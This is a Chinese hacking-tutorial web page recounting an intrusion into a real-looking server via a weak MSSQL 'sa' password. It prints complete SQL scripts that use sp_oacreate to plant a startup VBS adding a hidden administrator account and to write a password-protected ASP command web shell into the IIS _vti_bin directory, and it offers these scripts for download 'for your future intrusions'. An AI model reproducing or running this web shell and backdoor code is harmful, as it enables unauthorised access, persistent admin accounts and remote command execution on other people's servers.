上一篇:入侵FBI(www.fbi.gov)核心网络全过程 >>
对SA权限的再突破 (对付xplog70.dll被删)
先来看我对xx.41.153.190的扫描结果。x-scan2.3扫描后的详细漏洞表如下:
[开放端口]21/80/1433/3389
[sql弱口令]sa(aaa)
[cgi漏洞]
/_vti_bin/fpcount.exe?page=default.htmimage=2digits=1 [漏洞描述]
/_vti_bin/shtml.dll/nosuch.htm [漏洞描述]
/_vti_bin/shtml.dll [漏洞描述]
/_vti_bin/shtml.dll/_vti_rpc [漏洞描述]
/_vti_bin/shtml.exe [漏洞描述]
除了这几个漏洞,x-scan2.3再没有扫出别的了,好在有sql弱口令。用sql连接器连上看看吧,可大失所望。dir命令不能执行,好像是服务器去掉了sa的xp_cmdshell权限。
我再用sql的查循分析器来连接sql服务器恢复cmd_shell权限试试。在sql的查循分析器里写入 sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll',但是显示错误。
看样子是xplog70.dll被改名了。抱着试试看看的态度,再用sql连接器连上,执行dir命令,依然依显示图1的情况。
这种情况下怎么办呢?既然有了sql弱口令,而且sql的查循分析器也可以连接上,当然也可以用它来写一些文本程序在服务器上。再打开查循分析器,在弹出的文本框里写入以下sql脚本命令:
declare @o int, @f int, @t int, @ret int ,@a int
exec sp_oacreate 'scripting.filesystemobject', @o out
---给菜鸟加个简单注释,这两行代码是建立sql的文本对象
exec sp_oamethod @o, 'createtextfile', @f out,
'c:\\docume~1\\alluse~1\\「开始」菜单\\程序\\启动\\a.vbs', 1
--在启动菜单里写入a.vbs,当然这里只支持中文
exec @ret = sp_oamethod @f, 'writeline', null,
'set wshshell=createobject("wscript.shell")'
--单引号里的都是a.vbs的内容,要一行一行的写,下同。
exec @ret = sp_oamethod @f, 'writeline', null,
'a=wshshell.run ("cmd.exe /c net user lcx 123 /add",0)'
exec @ret = sp_oamethod @f, 'writeline', null,
'b=wshshell.run ("cmd.exe /c net localgroup administrators lcx /add",0)'
--a.vbs内容结束
执行查循后,这样就会在服务器的启动程序里写入一个a.vbs脚本。
只要服务器重启,就可以加入一个用户名是lcx,密码是123的管理员用户了。做完这一切后我就开始等待服务器重启了,可是等到花儿也谢了,这个用户也没加成功,我用lcx的用户名和密码123一直也登陆不了3389端口。不知是服务器没重启,还是服务器不是中文系统(因为这个sql脚本只支持中文),还是被管理员发现了,总之就是没加成功。在这之后,我就陷入了深思。于是回头看x-scan的漏洞扫描报告,上安全焦点查了一些扫到的漏洞资料,还是一无所获,扫到的漏洞都没有太大的利用价值。思考中,突然灵光一闪,_vti_bin是一个虚拟目录,在iis上默认的物理路径是c:\program files\common files\microsoft shared\web server extensions\40\isapi\,我可以在这里用sql的查循分析器写入一个asp程序呀。先看看思路对不对,执行_vti_bin/">http://ip/_vti_bin/ ,返回403错误码。
证明服务器这个虚拟目录是存在的。好了,我开始写sql脚本,一行一行写得好累呀,做个黑客也不容易呀(本想写入海阳顶端网木马xp.net版。可代码太多了):
declare @o int, @f int, @t int, @ret int ,@a int
exec sp_oacreate 'scripting.filesystemobject', @o out
--给菜鸟加个简单注释:还是建立sql程序的文本对像
exec sp_oamethod @o, 'createtextfile', @f out,
'c:\\program files\\common files\\microsoft shared\\web server extensions\\40\\isapi\\lcx.asp', 1
--在这个目录写入一个lcx.asp文件,没有就生成,你可以根据需要改成别的目录。
exec @ret = sp_oamethod @f, 'writeline', null,
'<% if request("password")=1234 then'
--单引号里都是lcx.asp代码内容,要一行一行的写呀,我写的是一个改装的cmd.asp,下同。
exec @ret = sp_oamethod @f, 'writeline', null,
'session("password")="lcx"'
exec @ret = sp_oamethod @f, 'writeline', null,
'response.redirect request.servervariables("url")'
exec @ret = sp_oamethod @f, 'writeline', null,
'elseif session("password")="" then %>'
exec @ret = sp_oamethod @f, 'writeline', null,
'<form name="user" method="post"> <input type=password name=password> <input type=submit value="确认提交"> </form>'
exec @ret = sp_oamethod @f, 'writeline', null,
'<%else%>'
exec @ret = sp_oamethod @f, 'writeline', null,
'<html>'
exec @ret = sp_oamethod @f, 'writeline', null,
'<form action="<%= request.servervariables("url") %>" method="post">'
exec @ret = sp_oamethod @f, 'writeline', null,
'<input type=text name=".cmd" size=45 value="<%= szcmd %>">'
exec @ret = sp_oamethod @f, 'writeline', null,
'<input type=submit value="执行" class=input>'
exec @ret = sp_oamethod @f, 'writeline', null,
'</form> <pre>'
exec @ret = sp_oamethod @f, 'writeline', null,
'<% dim oscript,oscriptnet,ofilesys, ofile,szcmd, sztempfile'
exec @ret = sp_oamethod @f, 'writeline', null,
'on error resume next'
exec @ret = sp_oamethod @f, 'writeline', null,
'set oscript = server.createobject("wscript.shell")'
exec @ret = sp_oamethod @f, 'writeline', null,
'set oscriptnet = server.createobject("wscript.network")'
exec @ret = sp_oamethod @f, 'writeline', null,
'set ofilesys = server.createobject("scripting.filesystemobject")'
exec @ret = sp_oamethod @f, 'writeline', null,
'szcmd = request.form(".cmd")'
exec @ret = sp_oamethod @f, 'writeline', null,
'if (szcmd <> "") then '
exec @ret = sp_oamethod @f, 'writeline', null,
'sztempfile = "c:\" & ofilesys.gettempname( ) '
exec @ret = sp_oamethod @f, 'writeline', null,
'call oscript.run ("cmd.exe /c " & szcmd & " > " & sztempfile, 0, true)'
exec @ret = sp_oamethod @f, 'writeline', null,
'set ofile = ofilesys.opentextfile (sztempfile, 1, false, 0) '
exec @ret = sp_oamethod @f, 'writeline', null,
' end if '
exec @ret = sp_oamethod @f, 'writeline', null,
'if (isobject(ofile)) then'
exec @ret = sp_oamethod @f, 'writeline', null,
'on error resume next'
exec @ret = sp_oamethod @f, 'writeline', null,
'response.write server.htmlencode(ofile.readall) '
exec @ret = sp_oamethod @f, 'writeline', null,
' ofile.close '
exec @ret = sp_oamethod @f, 'writeline', null,
' call ofilesys.deletefile(sztempfile, true)'
exec @ret = sp_oamethod @f, 'writeline', null,
'end if %> '
exec @ret = sp_oamethod @f, 'writeline', null,
'</body> </html> '
exec @ret = sp_oamethod @f, 'writeline', null,
'<%end if %> '
--好累,代码终于写完了
然后我将这段脚本放在查循分析器里执行,运气不错,服务器的iis是默认安装的,显示命令成功完成。
迫不及待的来看看运行结果吧。
哈,成功了。忘记告诉你,刚才运行的这段sql脚本,会在c:\program files\common files\microsoft shared\web server extensions\40\isapi\这个物理目录下,也就是虚拟目录_vti_bin目录下生成lcx.asp这个asp文件,是一个改装的cmd.asp了,密码是1234。输入密码1234后,再来看看,得到一个cmd的网页shell了。
虽然权限不是很大,但是查看服务器敏感信息,黑掉服务器的网页是绰绰有余的。我就用这个lcx.asp在服务器的c:\program files\microsoft sql server\mssql\binn这个目录里发现了一个可疑的xplog701.dll文件,和原来的文件大小比较,果然是一个改名的xplog70.dll。也许有的人要说,你可以再将名字改回来呀。我也试过,虽然改过名,也需要重启mssql服务,这个xplog70.dll才可以加载。看样子我的运气到了尽头,在这台机器上再没有得到太多渗透入侵结果了。
后来我在本机做过测试,我是w2k+sp3+iis5.0+fat32系统,在默认安装情况下,一些默认的虚拟目录用sql 查循分析器大都是可写的,而且这些默认的虚拟目录对应的物理目录都是固定的。除了上文讲到的_vti_bin外,还有像http://ip/printers 对应的是c:\winnt\web\printers,http://ip/ 对应的是c:\inetpub\wwwroot等等。所以平常说的暴露物理路径的危害由此实例可以管中窥豹了。
最后,我将本文中两个sql脚本和我改装过的lcx.asp为了大家今后入侵的方便,放在这里供大家下载(同url下的vbs.sql/asp.sql/lcx.asp压缩包里有),如果你今后也遇到同样情况,省去你手工输入的麻烦了,但我可不鼓励你入侵呀。:-)
()
下一篇:操作系统概览X86平台 四大类约25种操作系统 >>
相关文章:
- · 用TM让个人名片与通讯录无缝结合
- · QQ硬盘使用技巧全攻略
- · 让视频更流畅 RealPlayer10技巧大全
- · UNIX 常用的指令/终结完整编
- · Windows系统自启动程序关联位置
- · freebsd下安装GIMP
- · 文件分配表-教你了解文件分配表的知识
- · 98/2000/XP密码恢复方法
- · WIN 2000简单的入侵常识
- · 内网数据库服务器入侵实战
- · 杜绝自动弹出的网页
- · XP中服务与后门技术
- · 解决大家对PING命令的误解
- · 让系统使用更方便的六招实用秘籍
- · 谈谈针对Linux病毒的起源、发展以及分类
- · 天下无贼 两招解决IP地址盗用问题
- · 基于SSL技术的VPN 远程访问可以更安全
- · 关于“网络钓鱼”的主要手法及防范
- · 微软操作系统和IE中集成RSS 出现安全问题
- · 著名黑客Kevin Mitnick谈网络安全
- · QQ自动发送文件病毒解决方法
- · 用FlashFXP选择性批量下载0day资源
- · 用QQ直播Channel V全攻略
- · Windows 超过4G内存管理
- · 精解系统非法操作原因及解决方法
- · 关于netstat -an的几个小问题
- · 快乐耳朵——新钓鱼病毒全程追击始末
- · 系统安装颠峰之作 一口气装好8个操作系统
- · Windows XP操作系统原来还可以这样重启
- · 关于9行代码导致系统崩溃的分析整理
- · 实用Google辅助搜索技巧
- · 自己制作蜜罐捕捉入侵者
- · Linux下Jdk的安装设置
- · BIOS错误短句的解释
- · windows20000为“回收站”更名也不难
- · 五步锁定P2P Windows网络安全
- · 黑客入门教程:telnet协议
- · 数字签名技术简介
